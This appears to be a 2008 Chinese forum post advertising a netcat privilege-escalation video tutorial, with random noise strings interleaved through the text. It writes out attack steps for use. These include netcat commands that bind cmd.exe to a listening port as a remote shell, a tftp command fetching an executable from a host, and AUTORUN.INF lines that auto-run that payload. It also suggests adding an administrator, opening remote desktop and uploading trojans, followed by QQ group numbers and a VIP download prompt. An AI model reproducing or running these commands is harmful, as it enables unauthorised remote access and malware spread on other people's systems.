NC反弹提权教程

软件简介：
+ X) s, a- D" o& ]6 \% t# E(注意:这是语音教程,请打开您的音响,并且使用1024*768的屏幕分辨率来观看本教程!)
教程名称:NC反弹提权教程
6 X/ J% e0 `, O  X% Q- y- X7 H8 j主讲:低调小飞
7 X2 g$ v9 L* E& V! d, I! y
5 M5 z6 _5 Q$ h5 o环境说明：
Server-U 不可利用 pcAnywhere没有安装

提权思路:
, I- @" N! W, j4 M; J 上传NC，进行反弹连接。
命令说明：
, s  ?% N+ s/ n3 t  @7 X6 G, inc -l -p 110 -t -e c:\winnt\system32\cmd.exe
" C+ c: B. E2 k4 w3 _; [9 D  @' O9 `-l 监听本地入栈信息
! D* v0 @! b/ h8 [+ M- u
-p port 打开本地端口
. H) Y8 _8 J/ O& u# [-t 以telnet形式应答入栈请求

-e 程序重定向
2 {- y2 O" P+ @& L: p
/ ^( X- y, e  w( q1 R
C:\RECYCLER\cmd.exe
C:\RECYCLER\nc -l -p 110 -t -e c:\winnt\system32\cmd.exe
C:\RECYCLER\nc -l -p 110 -t -e C:\RECYCLER\cmd.exe
接下来留给我们的空间就比较充足了，我们可以添加管理员后开接对方3389，(如果没有开放我们可以手动放开)还可以直接上传木马等等...
( a5 u2 P1 y7 `9 A) F( k) y; Itftp -i 192.168.1.100 get 1.exe
[AutoRun]
open=1.exe
shellexecute=1.exe
8 e8 y8 u3 u0 }& B: j  B4 b8 Lshell\Auto\command=1.exe

echo [AutoRun]AUTORUN.INF
, ?; T+ U/ A" |& Y6 xecho open=1.exeAUTORUN.INF
6 H7 ~% T) g* e$ I& w% nvbs自动下载自动运行

3 _2 ]' P7 ]* d8 C- m9 _& w% E3 nQQ:176624470
=============================
41259640低調小飛技術交流群㈡
+ e* k. d$ Z0 Q! J! H41209575低調小飛技術交流群㈢
41209451低調小飛技術交流群㈣
22387823低調小飛技術交流群㈤
16599303低調小飛技術交流群㈥
( l, H; Q. ]9 M' R, q- i2 n16639680低調小飛技術交流群㈦
41209297低調小飛技術交流群㈧
下载地址：

2008-8-18 15:33 上传 NC反弹提权教程.rar

文件大小:

未知

下载次数:

0

下载权限:

版本vip会员

VIP专享 检测资源

有些游戏资源需要vip下载开通请点击开通vip

VIP专享,点击开通vip

确认